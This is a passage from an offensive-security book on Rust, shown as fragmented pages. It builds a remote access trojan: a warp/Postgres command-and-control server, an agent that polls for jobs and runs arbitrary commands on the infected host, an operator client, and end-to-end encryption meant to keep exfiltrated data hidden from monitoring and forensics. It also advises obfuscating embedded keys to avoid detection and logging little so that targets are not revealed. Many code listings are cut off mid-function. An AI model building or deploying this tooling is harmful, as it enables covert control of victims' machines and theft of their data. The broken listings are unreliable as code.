You can learn more about the clean architecture in the eponym book: Clean
Architecture by Robert C. Martin.
But, in my opinion, the clean architecture is too complex, with its jargon that
resonates only with professional architects and too many layers of abstraction.
It’s not for people actually writing code.
This is why I propose another approach, equally flexible, but much simpler
and which can be used for traditional server-side rendered web applications
and for JSON APIs.
As far as I know, this architecture has no official and shiny name, but I have
used it for projects exceeding tens of thousands lines of code, in Rust, Go
and Node.JS.
The advantage of using such architecture is that, if in the future the require-
ments or one dependency are revamped, changes are locals and isolated.
Each layer should communicate only with adjacent layers.
Let’s dig in!
14.4.3.1 Presentation
The presentation layer is responsible of communication with external services.
models, calls the service layer protocol agnostic
259
Figure 14.10: Server’s architecture
14.4.3.2 Service
The service layer is wher ethe business logic lives. All our application’s rules
and invariants lives in the service layer.
Need to verify a phone number? But waht is the format of a phone number?
The response to this question is in the service layer.
What are the verifications to preceed to when creating a job for an agent?
This is the role of the service layer.
14.4.3.3 Entities
Why not call this part a model? Because a model often refers to an object
persisted in a database or sent by the presentation layer. In addition to being
confusing, in the real world, not all entities are persisted. For example, an
object representing a group with its users may be used in your services, but
neither persisted nor transmitted by the presentation layer.
In our case, the entities will Agent , Job (a job is a command created by
the client, stored and dispatched by the server, and exectued by the agent),
260
14.4.3.4 Repository
The repository layer is a thin abtraction over the database. It encapsulates
all the database calls.
14.4.3.5 Drivers
And the last part of our architecture, drivers . Drivers encapsulate third-
party APIs.
As you may have guessed, drivers can only be called by services ,
because this is where the business logic lives.
261
14.4.5 Choosing a web framework
So now we have our requirements, which web framework to choose?
A few months ago I would have told you: go for actix-web . Period.
But now that the transition to v4 is taking too much time and is painful, I
would like to re-evaluate this decision.
When searching for web servcers, we find the following crates:
hyper is the de facto and certainly more eprouved HTTP library in Rust.
Unfortunately, it’s a little bit too low-level
actix-web was the rising star of Rust web framework. It was designed for ab-
solute speed, and was one of the first web framework to adopt async/await
. Unfortunately, its history is tainted by some drama, where the original cre-
ator decided to leave. Now the development has stalled.
warp is a web framework on top of hyper , made by the same author.
It small, and reliable, and fast enough for 99% of projects. There is one
downside: its API is just plain weird. It’s elegant in term of functional pro-
gramming, as being extremely composable using Filters, but it does absolutly
not match the mental model of traditional web framework (request, server,
context). That being said, it’s still understandable and easy to use.
tide is, in my opinion, the most elegant web framework available. Unfortu-
nately, it relies on the async-std runtime, and thus can’t be used (or with
weird side effects) in projects using tokio as async runtime.
Finally, there is gotham, which is, like warp , built on top of hyper but
seems to provide a better API. Unfortunately, this library is still early and
there is (to my knowledge) no report of extensive use in production.
262
Because we are aiming for a simple to use and robust framework, which works
with the tokio runtime, we will use warp .
Beware that due to it’s high use of generics, and weird API warp may not
be the best choice if you are designing a server with hundreds of endpoints,
compilation will be extremely slow and the code hard to understand.
14.4.6.2 logging
In the context of offensive security, logging is tedious, Indeed in the case your
C&C is breached, it may reveal a lot information about who your target are
and what kind of data was exfiltrated.
This is why I recommend not to log every request, but instead only errors
263
for debugging purposes, and to be very very careful not to log data of your
targets.
264
14.6 Docker for offensive security
Docker (which is the name of both the software, and the company developing
it), initially launched in 2013, and took the IT world by storm. Based on
lightweight virtual containers, it allows backend developers to package all the
dependencies and assets of an application in a single image, and to deploy
it as is. They are a great and modern alternative to traditional virtual
machines, usually lighter and that can launch in less than 100ms. By default,
containers are not as secure as Virtual Machines, this is why new runtimes
such as katacontainers or gvisor emerged to provide stronger isolation and
permit to run multiple untrusted containers on the same machine. Breaking
the boundaries of a container is called an “escape”.
Container images are build using a Dockerfile .
Open container https://opencontainers.org/
But today, Dockerfiles and the Open Containers Initiative (OCI) Image For-
mat are not only used for containers. It has become a kind of industry
standard for immutable and reproducible images. For example, the cloud
provider fly.io is using Dockerfile to build Firecracker micro-VMs. You
can see a Dockerfile as a kind of recipe to create a cake. But better than
a traditional recipe, you only need the Dockerfile to build an image that
will be perfect 100% of the time.
Containers were and still are a revolution. I believe it will take a long time be-
fore the industry move toward a new backend application format, so learning
how it works and how to use it is an absolute pre-requist in today’s world.
In this book we won’t explore how to escape from a container, but instead,
how to use Docker to sharpen our arsenal. In this chapter, we will see how
to build a Docker image to easily deploy a server application, and in chapter
12, we will see how to use Docker to create a reproducible cross-compilation
toolchain.
265
14.7 Let’s code
14.7.1 The server (C&C)
14.7.1.1 Error
The first thing I do when I start a new Rust project is to create my Error
enum. I do not try to guess all the variants of time, but instead let it grow
organically. That being said, I always create an Internal(String) variant
for errors I don’t want or can’t, handle gracefully.
ch_10/server/src/error.rs
use thiserror::Error;
14.7.1.2 Configuration
There are basically 2 ways to handle the configuration of a server application:
* configuration files * environment variables
Configuration files sucha as JSON or TOML have the advantage of pro-
viding built-in types.
Ont he other hand, environment variables do not provide strong types,
but are easier to use with the modern deployment and DevOps tools.
We will use the dotenv crate.
ch_10/server/src/config.rs
use crate::Error;
#[derive(Clone, Debug)]
pub struct Config {
pub port: u16,
pub database_url: String,
}
266
const ENV_PORT: &str = "PORT";
impl Config {
pub fn load() -> Result<Config, Error> {
dotenv::dotenv().ok();
let database_url =
std::env::var(ENV_DATABASE_URL).map_err(|_| env_not_found(ENV_DATABASE_URL))?;
267
pub async fn migrate(db: &Pool<Postgres>) -> Result<(), crate::Error> {
match sqlx::migrate!("./db/migrations").run(db).await {
Ok(_) => Ok(()),
Err(err) => {
error!("db::migrate: migrating: {}", &err);
Err(err)
}
}?;
Ok(())
}
mod agents;
mod index;
mod jobs;
use super::AppState;
pub fn routes(
app_state: Arc<AppState>,
268
) -> impl Filter<Extract = impl warp::Reply, Error = Infallible> + Clone {
let api = warp::path("api");
let api_with_state = api.and(super::with_state(app_state));
// GET /api
let index = api.and(warp::path::end()).and(warp::get()).and_then(index);
// GET /api/jobs
let get_jobs = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_jobs);
// POST /api/jobs
let post_jobs = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::end())
.and(warp::post())
.and(super::json_body())
.and_then(create_job);
// GET /api/jobs/{job_id}/result
let get_job = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path::param())
.and(warp::path("result"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_job_result);
// POST /api/jobs/result
let post_job_result = api_with_state
.clone()
.and(warp::path("jobs"))
.and(warp::path("result"))
.and(warp::path::end())
.and(warp::post())
.and(super::json_body())
.and_then(post_job_result);
269
// POST /api/agents
let post_agents = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::end())
.and(warp::post())
.and_then(post_agents);
// GET /api/agents
let get_agents = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_agents);
// GET /api/agents/{agent_id}/job
let get_agents_job = api_with_state
.clone()
.and(warp::path("agents"))
.and(warp::path::param())
.and(warp::path("job"))
.and(warp::path::end())
.and(warp::get())
.and_then(get_agent_job);
And finally:
let routes = index
.or(get_jobs)
.or(post_jobs)
.or(get_job)
.or(post_job_result)
.or(post_agents)
.or(get_agents)
.or(get_agents_job)
.with(warp::log("server"))
.recover(super::handle_error);
routes
}
270
14.7.1.4 Decoding requests
Thus, decoding requests is done in two steps:
one reusable filter: ch_10/server/src/api/mod.rs
pub fn json_body<T: DeserializeOwned + Send>(
) -> impl Filter<Extract = (T,), Error = warp::Rejection> + Clone {
warp::body::content_length_limit(1024 * 16).and(warp::body::json())
}
and directly using our Rust type in the signature of our handler function,
here api::CreateJob . ch_10/server/src/api/routes/jobs.rs
pub async fn create_job(
state: Arc<AppState>,
input: api::CreateJob,
) -> Result<impl warp::Reply, warp::Rejection> {
271
graceful shutdowns.
pub async fn get_job_result(
state: Arc<AppState>,
job_id: Uuid,
) -> Result<impl warp::Reply, warp::Rejection> {
let sleep_for = Duration::from_secs(1);
mod agents;
mod jobs;
#[derive(Debug)]
pub struct Service {
repo: Repository,
db: Pool<Postgres>,
}
272
impl Service {
pub fn new(db: Pool<Postgres>) -> Service {
let repo = Repository {};
Service { db, repo }
}
}
ch_10/server/src/service/jobs.rs
use super::Service;
use crate::{entities::Job, Error};
use chrono::Utc;
use common::api::{CreateJob, UpdateJobResult};
use sqlx::types::Json;
use uuid::Uuid;
impl Service {
pub async fn find_job(&self, job_id: Uuid) -> Result<Job, Error> {
self.repo.find_job_by_id(&self.db, job_id).await
}
agent.last_seen_at = Utc::now();
// ignore result as an error is not important
let _ = self.repo.update_agent(&self.db, &agent).await;
job.executed_at = Some(Utc::now());
job.output = Some(input.output);
self.repo.update_job(&self.db, &job).await
273
}
self.repo.create_job(&self.db, &new_job).await?;
Ok(new_job)
}
}
ch_10/server/src/service/agents.rs
use super::Service;
use crate::{
entities::{self, Agent},
Error,
};
use chrono::Utc;
use common::api::AgentRegistered;
use uuid::Uuid;
impl Service {
pub async fn list_agents(&self) -> Result<Vec<entities::Agent>, Error> {
274
self.repo.find_all_agents(&self.db).await
}
self.repo.create_agent(&self.db, &agent).await?;
Ok(AgentRegistered { id })
}
}
#[derive(Debug)]
pub struct Repository {}
Wait, but why put the database in the service, and not the repository. It’s
because sometime (often) you will need to use transactions in order to make
multiple operations atomic.
ch_10/server/src/repository/jobs.rs
use super::Repository;
use crate::{entities::Job, Error};
use log::error;
use sqlx::{Pool, Postgres};
use uuid::Uuid;
impl Repository {
pub async fn create_job(&self, db: &Pool<Postgres>, job: &Job) -> Result<(), Error> {
const QUERY: &str = "INSERT INTO jobs
(id, created_at, executed_at, command, args, output, agent_id)
275
VALUES ($1, $2, $3, $4, $5, $6, $7)";
match sqlx::query(QUERY)
.bind(job.id)
.bind(job.created_at)
.bind(job.executed_at)
.bind(&job.command)
.bind(&job.args)
.bind(&job.output)
.bind(job.agent_id)
.execute(db)
.await
{
Err(err) => {
error!("create_job: Inserting job: {}", &err);
Err(err.into())
}
Ok(_) => Ok(()),
}
}
pub async fn update_job(&self, db: &Pool<Postgres>, job: &Job) -> Result<(), Error> {
const QUERY: &str = "UPDATE jobs
SET executed_at = $1, output = $2
WHERE id = $3";
match sqlx::query(QUERY)
.bind(job.executed_at)
.bind(&job.output)
.bind(job.id)
.execute(db)
.await
{
Err(err) => {
error!("update_job: updating job: {}", &err);
Err(err.into())
}
Ok(_) => Ok(()),
}
}
pub async fn find_job_by_id(&self, db: &Pool<Postgres>, job_id: Uuid) -> Result<Job, Error>
const QUERY: &str = "SELECT * FROM jobs WHERE id = $1";
276
.bind(job_id)
.fetch_optional(db)
.await
{
Err(err) => {
error!("find_job_by_id: finding job: {}", &err);
Err(err.into())
}
Ok(None) => Err(Error::NotFound("Job not found.".to_string())),
Ok(Some(res)) => Ok(res),
}
}
277
}
}
}
Note that in a larger program, we would split each functions in separate files.
14.7.1.9 Migrations
Migrations are responsible ofsetting up the database schema.
They are executed when our server is starting.
ch_10/server/db/migrations/001_init.sql
CREATE TABLE agents (
id UUID PRIMARY KEY,
created_at TIMESTAMP WITH TIME ZONE NOT NULL,
last_seen_at TIMESTAMP WITH TIME ZONE NOT NULL
);
14.7.1.10 main
And finally, the main.rs file to connect everything and start the tokio
runtime.
ch_10/server/src/main.rs
#[tokio::main(flavor = "multi_thread")]
async fn main() -> Result<(), anyhow::Error> {
std::env::set_var("RUST_LOG", "server=info");
env_logger::init();
278
let config = Config::load()?;
server.await;
Ok(())
}
As we can see, it’s really easy to set up graceful shutdowns with warp : when
our server receives a Ctrl+C signal, it will stop receiving new connections.
The connections in progress will not be terminated abruptly, and thus, no
incomplete requests should happen.
279
let agent_id = match (api_res.data, api_res.error) {
(Some(data), None) => Ok(data.id),
(None, Some(err)) => Err(Error::Api(err.message)),
(None, None) => Err(Error::Api(
"Received invalid api response: data and error are both null.".to_string(),
)),
(Some(_), Some(_)) => Err(Error::Api(
"Received invalid api response: data and error are both non null.".to_string(),
)),
}?;
Ok(agent_id)
}
Ok(())
}
if agent_id_file.exists() {
let agent_file_content = fs::read(agent_id_file)?;
home_dir.push(consts::AGENT_ID_FILE);
280
Ok(home_dir)
}
use crate::consts;
use common::api;
use std::{process::Command, thread::sleep, time::Duration};
use uuid::Uuid;
loop {
let server_res = match api_client.get(get_job_route.as_str()).call() {
Ok(res) => res,
Err(err) => {
log::debug!("Error geeting job from server: {}", err);
sleep(sleep_for);
continue;
}
};
281
let output = execute_command(job.command, job.args);
let job_result = api::UpdateJobResult {
job_id: job.id,
output,
};
match api_client
.post(post_job_result_route.as_str())
.send_json(ureq::json!(job_result))
{
Ok(_) => {}
Err(err) => {
log::debug!("Error sending job's result back: {}", err);
}
};
}
}
return ret;
}
282
14.7.3 The client
14.7.3.1 Sending jobs
After sending a job, we need to wait for the result. For that, we simply loop
until the C&C server replies with a non-empty job result response.
use std::{thread::sleep, time::Duration};
pub fn run(api_client: &api::Client, agent_id: &str, command: &str) -> Result<(), Error> {
let agent_id = Uuid::parse_str(agent_id)?;
let sleep_for = Duration::from_millis(500);
loop {
let job_output = api_client.get_job_result(job_id)?;
if let Some(job_output) = job_output {
println!("{}", job_output);
break;
}
sleep(sleep_for);
}
Ok(())
}
table.add_row(Row::new(vec![
Cell::new("Job ID"),
283
Cell::new("Created At"),
Cell::new("Executed At"),
Cell::new("command"),
Cell::new("Args"),
Cell::new("Output"),
Cell::new("Agent ID"),
]));
table.printstd();
Ok(())
}
284
14.8.1 Optimization Level
In Cargo.toml
[profile.release]
opt-level = 'z'
Note that those techniques may slow down the compilation, especially, Par-
allel Code Generation Units. In return, the compiler will be able to better
optimize our binary.
285
14.9.1 Authentication
We didn’t include any authentication system!
Anyone can send jobs to the server, effectively impersonnating the legitimate
operators, and take control of all the agents.
Fortunately, it’s a solved problem and you won’t have any difficulty to find
resources on the internet about how to implement authentication (JWTs,
tokens…).
286
Chapter 15
287
15.1 The C.I.A triad
The cyberworld is highly adversarial and unpardonable. In real life, when
you talk with someone else, only you and your interlocutor will ever know
what you talked about. On the internet, whenever you talk with someone,
your messages are saved in a database and may be accessible by employees
of the company developing the app you are using, some government agents,
or if the database is hacked, by the entire world.
15.1.1 Confidentiality
Confidentiality is the protection of private or sensitive information from unau-
thorized access.
Its opposite is disclosure.
15.1.2 Integrity
Integrity is the protection of data from alteration by unauthorized parties.
Its opposite is alteration.
288
15.1.3 Availability
Information should be consistently accessible.
Many things can cripple availability, including hardware or software failure,
power failure, natural disasters, attacks, or human error.
Is your new shiny secure application effective if it depends on servers, and
the servers are down?
The best way to guarantee availability is to identify single points of failure
and provide redundancy.
Its opposite is denial of access.
15.3 Cryptography
Cryptography, or cryptology (from Ancient Greek: �������, roman-
ized: kryptós “hidden, secret”; and ������� graphein, “to write”,
or -����� -logia, “study”, respectively), is the practice and study
of techniques for secure communication in the presence of third
parties called adversaries.
Put another way, cryptography is the science and art of sharing confidential
information with trusted parties.
289
Encryption is certainly the first thing that comes to your mind when you
hear (or read) the word cryptography, but it’s not the only kind of operation
needed to secure a system.
290
They are useful to verify the integrity of files, without to having compare /
send the entire file(s).
You certainly already encountered them on download pages.
291
Figure 15.4: MAC
292
Figure 15.5: Key Derivation Functions
You give to a block cipher a message (also known as plaintext) and a secret
key, and it will produce an encrypted message, also known as ciphertext.
Given the same secret key, you will then be able to decrypt the ciphertext to
recover the original message, bit for bit identical.
Most of the time, the ciphertext is of the same size than the plaintext.
An example of block cipher is AES-CBC .
293
Figure 15.6: Block cipher
294
the algorithm will fail and return an error before even trying to decrypt the
data.
The advantages over encrypt-then-MAC are that it requires only one key,
and it’s far easier to use, and thus reduce the probability of introducing a
vulnerability by misusing different primitives together.
Nowadays, It’s the (universally) recommended solution to use when
you need to encrypt data.
Why?
Imagine a that Alice want to send an encrypted message to Bob, using a
pre-arranged secret key. If Alice used a simple block cipher, the encrypted
message could be intercepted in transit, modified (while still being in its
encrypted form), and transmitted modified to Bob. When Bob will decrypt
the cipehrtext, it may produce gibberish data! Integrity (remember the C.I.A
triad) is broken.
As another example, imagine you want to store an encrypted wallet amount
in a database. If you don’t use associated data, a malicious database admin-
istrator could swap the amount of two users and it would go unnoticed. On
the other hand, with authenticated encryption, you can use the user_id
as associated data, and mitigate the risk of encrypted data swapping.
295
15.9 Asymmetric encryption
Unlike block ciphers, Asymmetric encryption algorithms use a key pair, which
is a private key, and a public key, derived from the private key. As the name
indicate, the public key is safe for public sharing, while the private key must
remain secret.
The advantage over symmetric encryption like block ciphers, is that it’s easy
to exchange the public keys. They can be put on a website for example.
Asymmetric encryption is not used as is in the real-world, instead proto-
cols (as the one we will design and implement) are designed using a mix of
authenticated encryption, Key exchange and signature algorithms (more on
that below).
296
Figure 15.10: Key exchange
The (certainly) most famous and used Key Exchange algorithm (and the one
I recommend you to use if you have no specific requirement) is: x25519 .
15.11 Signatures
Signatures, are the asymmetric equivalent of MACs: given a keypair and a
message (comprised of a private key and a public key), the private key can
produce a signature of the message. The public key can then be used to
verify that the signature has indeed been issued by someone (or something)
with the knowledge of the private key.
Like all asymmetric algorithms, the public key is safe to share, and like we
will see later, public keys of signature algorithms are, most of the time, the
foundations of digital (crypto)-identities.
The (certainly) most famous and used Signature algorithm (and the one I
recommend you to use if you have no specific requirement) is: ed25519 .
297
Figure 15.11: Digital Signatures
298
Figure 15.12: End-to-end encryption
299
Figure 15.13: Forward secrecy
As you may have guessed, militaries are those who may need the most to
protect their communication, from spartans to the famous Enigma machine
used by Germany during World War II.
Web: when communicating with websites, your data is encrypted using the
TLS protocol.
Secure messaging apps (Signal, Matrix) use end-to-end encryption to fight
mass surveillance. They mostly use the Signal protcol for end-to-end
encryption, or derivatives (such as Olm and Megolm for Matrix).
Blockchain and crypto-currencies are a booming field since the introduction
of Bitcoin in 2009. With secure messaging, this field is certainly one of the
major reasons of cryptography going mainstream recently, with everybody
wanting to launch their own blockchain. One of the (unfortunate) reasons is
that both “crypto-currencies” and “cryptography” are both often abreviated
“crypto”. To the great displeasure of cryptographers seeing their communities
flooded by “crypto-noobs” and scammers.
Your new shiny smartphone just have been stolen by street crooks? Fortu-
nately for you, your personal picture are safe from them, thanks to device
encryption (provided you have a strong enough passcode).
300
DRM (for Digital rights management, or Digital Restrictions Management)
is certainly the most bullshit use of cryptography whose unique purpose is
to create artificial scarcity of digital resources. DRMs are, and will always
be breakable, by design. Fight DRM, the sole effect of such a system is to
annoy legitimate buyers, because, you know, the content of the pirates has
DRM removed!
And, of course, offensive security: when you want to exfiltrate data, you
may not want the exfiltrated data to be detected by monitoring systems or
recovered during forensic investigations.
301
On the other hand, even if you can test your own implementation of prim-
itives with test vectors, there are many other dangers waiting for you: *
side-channel leaks * non-constant time programming * and a lot of other
things that may make your code not secure for real-world usage.
302
15.16 The Rust cryptography ecosystem
37.2% of vulnerabilities in cryptographic libraries are memory
safety issues, while only 27.2% are cryptographic issues, according to
an empirical Study of Vulnerabilities in Cryptographic Libraries (Jenny
Blessing, Michael A. Specter, Daniel J. Weitzner - MIT).
I think it’s time that we move on from C as the de-facto language for imple-
menting cryptographic primitive.
Due to its high-level nature with low-level controls, absence of garbage col-
lector, portability, and ease of embedding, Rust is our best bet to replace
today’s most famous crypto libraries: OpenSSL, BoringSSL and libsodium,
which are all written in C.
It will take time for sure, but in 2019, rustls (a library we will see later)
was benchmarked to be 5% to 70% faster than OpenSSL , depending on the
task. One of the most important thing (that is missing today) to see broad
adoption? Certifications (such as FIPS).
Without further ado, here is a survey of the Rust cryptography ecosystem in
2021.
15.16.1 sodiumoxide
sodiumoxide is a Rust wrapper for libsodium, the renowned C cryptography
library recommended by most applied cryptographers.
The drawback of this library is that as it’s C bindings, it may introduce
hard-to-debug bugs.
Also, please note that the original maintainer announced in November 2020
that he is stepping back from the project. That being said, at its current
state, the project is fairly stable, and urgent issues (if any) will surely be
fixed promptly.
15.17 ring
ring is focused on the implementation, testing, and optimization of a core set
of cryptographic operations exposed via an easy-to-use (and hard-to-misuse)
303
API. ring exposes a Rust API and is written in a hybrid of Rust, C, and
assembly language.
ring provides low-level primitives to use in your higher-level protocols and
applications. The principal maintainer is known for being very serious about
cryptography and the code to be high-quality.
The only problem is that some algorithms, such as XChaCha20-Poly1305 ,
are missing.
15.17.3 rustls
rustls is a modern TLS library written in Rust. It uses ring under the
hood for cryptography. Its goal is to provide only safe to use features by
allowing only TLS 1.2 and upper, for example.
In my opinion, this library is on the right track to replace OpenSSL and
BoringSSL .
304
crates/organizations above.
15.18 Summary
As of June 2021
305
15.19.2 What can go wrong
Compromised server: The server can be compromised, whether it be a
vulnerability, or seized by the hostimg provider itself.
Network monitoring: Network monitoring systems are common in enter-
prise networks and may detect abnormal patterns which may lead to the
discovery of infected machines.
Discovery of the agent: The agent itself may be uncovered, which may
leads to forensic analyses: analyses of the infected machines to understand
the modus operandi and what was extracted.
Impersonation of the operators: An entity may want to take control of
the compromised hosts and issue commands to them, by pretending to be
the legitimate operators of the system.
306
identity public key in order to verify that requests come from legitimate
operators.
It makes our life easier to implement forward secrecy, as instead of the client
providing ephemeral public keys for key exchange, the ephemeral public key
can be embedded directly in each job. Thus the public key for each job’s
result will only exist in the memory of the agent, the time for the agent to
execute the job and encrypt back the result.
15.20.1.1 Signatures
Because it’s a kind of industry standard, we will use Ed25519 for signatures.
307
Figure 15.14: Our end-to-end
308 encryption protocol
It’s not that easy to benchmark crypto algorithms (people often end up with
different numbers), but ChaCha20-Poly1305 is generaly as fast or up to
1.5x slower than AES-GCM-256 on modern hardware.
It is particularly appreciated by cryptographers due to it’s elegance, simplic-
ity and speed, this is why you can find it in a lot of modern protocols such
as TLS or WireGuard®.
309
This is where comes into play our last primitive: a Key Derivation Func-
tion.
15.20.1.5 Summary
• Signature: Ed25519
• Encryption: XChaCha20Poly1305
• Key Exchange: X25519
• Key Derivation Function: blake2b
310
And simply embed it in the agent like that:
ch_11/agent/src/config.rs
pub const CLIENT_IDENTITY_PUBLIC_KEY: &str = "xQ6gstFLtTbDC06LDb5dAQap+fXVG45BnRZj0L5th+M=";
In a more “more serious” setup, we may want to obfuscate it (to avoid string
detection) and embed it at build-time, with the include! macro for exam-
ple.
Remember to never ever embed your secrets in your code like that
and commit it in your git repositories!!
Then we need to generate our x25519 prekey which will be used for key
exchange for jobs. ch_11/agent/src/init.rs
let mut private_prekey = [0u8; crypto::X25519_PRIVATE_KEY_SIZE];
rand_generator.fill_bytes(&mut private_prekey);
let public_prekey = x25519(private_prekey.clone(), X25519_BASEPOINT_BYTES);
Then we need to sign our public prekey, in order to attest that it has been is-
sued by the agent, and not an adversary MITM. ch_11/agent/src/init.rs
let public_prekey_signature = identity_keypair.sign(&public_prekey);
311
let register_agent = RegisterAgent {
identity_public_key: identity_keypair.public.to_bytes(),
public_prekey: public_prekey.clone(),
public_prekey_signature: public_prekey_signature.to_bytes().to_vec(),
};
And finally, we can return all that information to be used in the agent:
ch_11/agent/src/init.rs
let client_public_key_bytes = base64::decode(config::CLIENT_IDENTITY_PUBLIC_KEY)?;
let client_identity_public_key =
ed25519_dalek::PublicKey::from_bytes(&client_public_key_bytes)?;
Ok(conf)
}
312
We can then proceed to encrypt the job: ch_11/client/src/cli/exec.rs
// encrypt job
let (input, mut job_ephemeral_private_key) = encrypt_and_sign_job(
&conf,
command,
args,
agent.id,
agent.public_prekey,
&agent.public_prekey_signature,
&agent_identity_public_key,
)?;
ch_11/client/src/cli/exec.rs
fn encrypt_and_sign_job(
conf: &config::Config,
command: String,
args: Vec<String>,
agent_id: Uuid,
agent_public_prekey: [u8; crypto::X25519_PUBLIC_KEY_SIZE],
agent_public_prekey_signature: &[u8],
agent_identity_public_key: &ed25519_dalek::PublicKey,
) -> Result<(api::CreateJob, [u8; crypto::X25519_PRIVATE_KEY_SIZE]), Error> {
if agent_public_prekey_signature.len() != crypto::ED25519_SIGNATURE_SIZE {
return Err(Error::Internal(
"Agent's prekey signature size is not valid".to_string(),
));
}
ch_11/client/src/cli/exec.rs
let mut rand_generator = rand::rngs::OsRng {};
313
// generate ephemeral keypair for job encryption
let mut job_ephemeral_private_key = [0u8; crypto::X25519_PRIVATE_KEY_SIZE];
rand_generator.fill_bytes(&mut job_ephemeral_private_key);
let job_ephemeral_public_key = x25519(
job_ephemeral_private_key.clone(),
x25519_dalek::X25519_BASEPOINT_BYTES,
);
ch_11/client/src/cli/exec.rs
// generate ephemeral keypair for job result encryption
let mut job_result_ephemeral_private_key = [0u8; crypto::X25519_PRIVATE_KEY_SIZE];
rand_generator.fill_bytes(&mut job_result_ephemeral_private_key);
let job_result_ephemeral_public_key = x25519(
job_result_ephemeral_private_key.clone(),
x25519_dalek::X25519_BASEPOINT_BYTES,
);
ch_11/client/src/cli/exec.rs
// key exange for job encryption
let mut shared_secret = x25519(job_ephemeral_private_key, agent_public_prekey);
// generate nonce
let mut nonce = [0u8; crypto::XCHACHA20_POLY1305_NONCE_SIZE];
rand_generator.fill_bytes(&mut nonce);
// derive key
let mut kdf =
blake2::VarBlake2b::new_keyed(&shared_secret, crypto::XCHACHA20_POLY1305_KEY_SIZE);
kdf.update(&nonce);
let mut key = kdf.finalize_boxed();
// serialize job
let encrypted_job_payload = api::JobPayload {
command,
args,
result_ephemeral_public_key: job_result_ephemeral_public_key,
};
let encrypted_job_json = serde_json::to_vec(&encrypted_job_payload)?;
// encrypt job
let cipher = XChaCha20Poly1305::new(key.as_ref().into());
let encrypted_job = cipher.encrypt(&nonce.into(), encrypted_job_json.as_ref())?;
314
shared_secret.zeroize();
key.zeroize();
And finally we sign all this data in order assert that the job is coming from
the operators: ch_11/client/src/cli/exec.rs
// other input data
let job_id = Uuid::new_v4();
Ok((
api::CreateJob {
id: job_id,
agent_id,
encrypted_job,
ephemeral_public_key: job_ephemeral_public_key,
nonce,
signature: signature.to_bytes().to_vec(),
},
job_result_ephemeral_private_key,
))
}
315
// verify input
if job.signature.len() != crypto::ED25519_SIGNATURE_SIZE {
return Err(Error::Internal(
"Job's signature size is not valid".to_string(),
));
}
// derive key
let mut kdf =
blake2::VarBlake2b::new_keyed(&shared_secret, crypto::XCHACHA20_POLY1305_KEY_SIZE);
kdf.update(&job.nonce);
let mut key = kdf.finalize_boxed();
// decrypt job
let cipher = XChaCha20Poly1305::new(key.as_ref().into());
let decrypted_job_bytes = cipher.decrypt(&job.nonce.into(), job.encrypted_job.as_ref())?;
shared_secret.zeroize();
key.zeroize();
316
// deserialize job
let job_payload: api::JobPayload = serde_json::from_slice(&decrypted_job_bytes)?;
Ok((job.id, job_payload))
}
Then we serialize and encrypt the result. By now you should have guessed
how to do it :) ch_11/agent/src/run.rs
// generate nonce
let mut nonce = [0u8; crypto::XCHACHA20_POLY1305_NONCE_SIZE];
rand_generator.fill_bytes(&mut nonce);
// derive key
let mut kdf =
blake2::VarBlake2b::new_keyed(&shared_secret, crypto::XCHACHA20_POLY1305_KEY_SIZE);
kdf.update(&nonce);
317
let mut key = kdf.finalize_boxed();
// encrypt job
let cipher = XChaCha20Poly1305::new(key.as_ref().into());
let encrypted_job_result = cipher.encrypt(&nonce.into(), job_result_payload_json.as_ref())?;
shared_secret.zeroize();
key.zeroize();
And finally, we sign the encrypted job and the metadata. ch_11/agent/src/run.rs
// sign job_id, agent_id, encrypted_job_result, result_ephemeral_public_key, result_nonce
let mut buffer_to_sign = job_id.as_bytes().to_vec();
buffer_to_sign.append(&mut conf.agent_id.as_bytes().to_vec());
buffer_to_sign.append(&mut encrypted_job_result.clone());
buffer_to_sign.append(&mut ephemeral_public_key.to_vec());
buffer_to_sign.append(&mut nonce.to_vec());
Ok(UpdateJobResult {
job_id,
encrypted_job_result,
ephemeral_public_key,
nonce,
signature: signature.to_bytes().to_vec(),
})
}
318
fn decrypt_and_verify_job_output(
job: api::Job,
job_ephemeral_private_key: [u8; crypto::X25519_PRIVATE_KEY_SIZE],
agent_identity_public_key: &ed25519_dalek::PublicKey,
) -> Result<String, Error> {
// verify job_id, agent_id, encrypted_job_result, result_ephemeral_public_key, result_nonce
let encrypted_job_result = job
.encrypted_result
.ok_or(Error::Internal("Job's result is missing".to_string()))?;
let result_ephemeral_public_key = job.result_ephemeral_public_key.ok_or(Error::Internal(
"Job's result ephemeral public key is missing".to_string(),
))?;
let result_nonce = job
.result_nonce
.ok_or(Error::Internal("Job's result nonce is missing".to_string()))?;
ch_11/client/src/cli/exec.rs
// key exange with public_prekey & keypair for job encryption
let mut shared_secret = x25519(job_ephemeral_private_key, result_ephemeral_public_key);
319
// derive key
let mut kdf =
blake2::VarBlake2b::new_keyed(&shared_secret, crypto::XCHACHA20_POLY1305_KEY_SIZE);
kdf.update(&result_nonce);
let mut key = kdf.finalize_boxed();
ch_11/client/src/cli/exec.rs
// decrypt job result
let cipher = XChaCha20Poly1305::new(key.as_ref().into());
let decrypted_job_bytes =
cipher.decrypt(&result_nonce.into(), encrypted_job_result.as_ref())?;
shared_secret.zeroize();
key.zeroize();
Ok(job_result.output)
}
320
agents again and again.
Fortunately this is a solved problem, and ways to mitigate it are well-knwon:
https://www.kaspersky.com/resource-center/definitions/replay-attack
321
15.23.1 Real-world cryptography
by David Wong, of cryptologie.net, where you will learn the high-level usage
of modern cryptography and how it is used in the real-world. You will learn,
for example, how the Signal and TLS 1.3 protocols, or the Diem (previously
known as Libra) cryptocurrency work.
15.24 Summary
• Use authenticated encryption
• Public-key cryptography is hard, prefer symmetric encryption
• Keys management is not a solved problem
• To provide forward secrecy, use signing keys for long-term identity
322
Chapter 16
Going multi-platforms
Now we have a mostly secure RAT, it’s time to expand our reach. Until now,
we limited our builds to Linux. While the Linux market is huge server-side,
this is another story client-side, with a market share of roughly 2.5% on the
desktop.
For that, we will do cross-compilation: we are going to compile a program
from a Host Operating System for a different Operating System. Compiling
Windows executables on Linux, for example.
But, when we are talking about cross-compilation, we are not only talking
about compiling a program from an OS to another one. We are also talk-
ing about compiling an executable from one architecture to another, from
